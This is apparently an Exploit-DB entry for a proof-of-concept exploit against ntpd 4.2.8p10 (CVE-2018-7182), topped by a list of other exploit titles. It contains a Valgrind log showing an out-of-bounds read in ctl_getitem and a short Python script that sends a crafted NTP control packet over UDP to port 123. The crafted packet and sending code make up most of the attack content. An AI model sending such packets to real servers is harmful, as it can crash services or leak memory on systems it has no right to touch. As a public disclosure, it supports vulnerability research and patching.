1d25aee539
15 changes to exploits/shellcodes AMPPS 2.7 - Denial of Service (PoC) Bosch Video Management System 8.0 - Configuration Client Denial of Service (PoC) ntpd 4.2.8p10 - Out-of-Bounds Read (PoC) SwitchVPN for macOS 2.1012.03 - Privilege Escalation Atlassian Jira - Authenticated Upload Code Execution (Metasploit) iServiceOnline 1.0 - 'r' SQL Injection Helpdezk 1.1.1 - 'query' SQL Injection Electricks eCommerce 1.0 - Cross-Site Request Forgery (Change Admin Password) EdTv 2 - 'id' SQL Injection Dell OpenManage Network Manager 6.2.0.51 SP3 - Multiple Vulnerabilities Advanced Comment System 1.0 - SQL Injection Rmedia SMS 1.0 - SQL Injection Pedidos 1.0 - SQL Injection Electricks eCommerce 1.0 - Persistent Cross-Site Scripting DoceboLMS 1.2 - SQL Injection / Arbitrary File Upload
60 lines
No EOL
3.8 KiB
Python
Executable file
60 lines
No EOL
3.8 KiB
Python
Executable file
# Exploit Title: ntpd 4.2.8p10 - Out-of-Bounds Read (PoC)
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# Bug Discovery: Yihan Lian, a security researcher of Qihoo 360 GearTeam
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# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
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# Website: https://dumpco.re/blog/cve-2018-7182
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# Vendor Homepage: http://www.ntp.org/
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# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p10.tar.gz
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# Version: ntp 4.2.8p6 - 4.2.8p10
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# CVE: CVE-2018-7182
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# Note: this PoC exploit only crashes the target when target is ran under a memory sanitiser such as ASan / Valgrind
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#$ sudo valgrind ./ntpd/ntpd -n -c ~/resources/ntp.conf
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#==50079== Memcheck, a memory error detector
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#==50079== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
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#==50079== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
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#==50079== Command: ./ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
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#==50079==
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#12 Nov 09:26:19 ntpd[50079]: ntpd 4.2.8p10@1.3728-o Mon Nov 12 08:21:41 UTC 2018 (4): Starting
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#12 Nov 09:26:19 ntpd[50079]: Command line: ./ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
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#12 Nov 09:26:19 ntpd[50079]: proto: precision = 1.331 usec (-19)
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#12 Nov 09:26:19 ntpd[50079]: switching logging to file /tmp/ntp.log
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#12 Nov 09:26:19 ntpd[50079]: Listen and drop on 0 v6wildcard [::]:123
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#12 Nov 09:26:19 ntpd[50079]: Listen and drop on 1 v4wildcard 0.0.0.0:123
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#12 Nov 09:26:19 ntpd[50079]: Listen normally on 2 lo 127.0.0.1:123
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#12 Nov 09:26:19 ntpd[50079]: Listen normally on 3 eth0 172.16.193.132:123
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#12 Nov 09:26:19 ntpd[50079]: Listen normally on 4 lo [::1]:123
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#12 Nov 09:26:19 ntpd[50079]: Listen normally on 5 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
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#12 Nov 09:26:19 ntpd[50079]: Listening on routing socket on fd #22 for interface updates
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#==50079== Invalid read of size 1
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#==50079== at 0x12B8CF: ctl_getitem (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x131BF8: read_mru_list (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x12FD65: process_control (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x1440F9: receive (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x12AAA3: ntpdmain (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x12AC2C: main (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== Address 0x6c6b396 is 0 bytes after a block of size 6 alloc'd
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#==50079== at 0x4C28C20: malloc (vg_replace_malloc.c:296)
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#==50079== by 0x4C2AFCF: realloc (vg_replace_malloc.c:692)
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#==50079== by 0x17AC63: ereallocz (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x130A5F: add_var (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x130BC5: set_var (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x131636: read_mru_list (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x12FD65: process_control (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x1440F9: receive (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x12AAA3: ntpdmain (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079== by 0x12AC2C: main (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
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#==50079==
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#!/usr/bin/env python
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import sys
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import socket
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buf = ("\x16\x0a\x00\x02\x00\x00\x00\x00\x00\x00\x00\x39\x6e\x6f\x6e\x63" +
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"\x65\x3d\x64\x61\x33\x65\x62\x35\x31\x65\x62\x30\x32\x38\x38\x38" +
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"\x64\x61\x32\x30\x39\x36\x34\x31\x39\x63\x2c\x20\x66\x72\x61\x67" +
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"\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x00\x31\x32\x37\x2e" +
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"\x30\x2e\x30\x2e\x31\x00\x00\x00")
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sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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sock.sendto(buf, ('127.0.0.1', 123)) |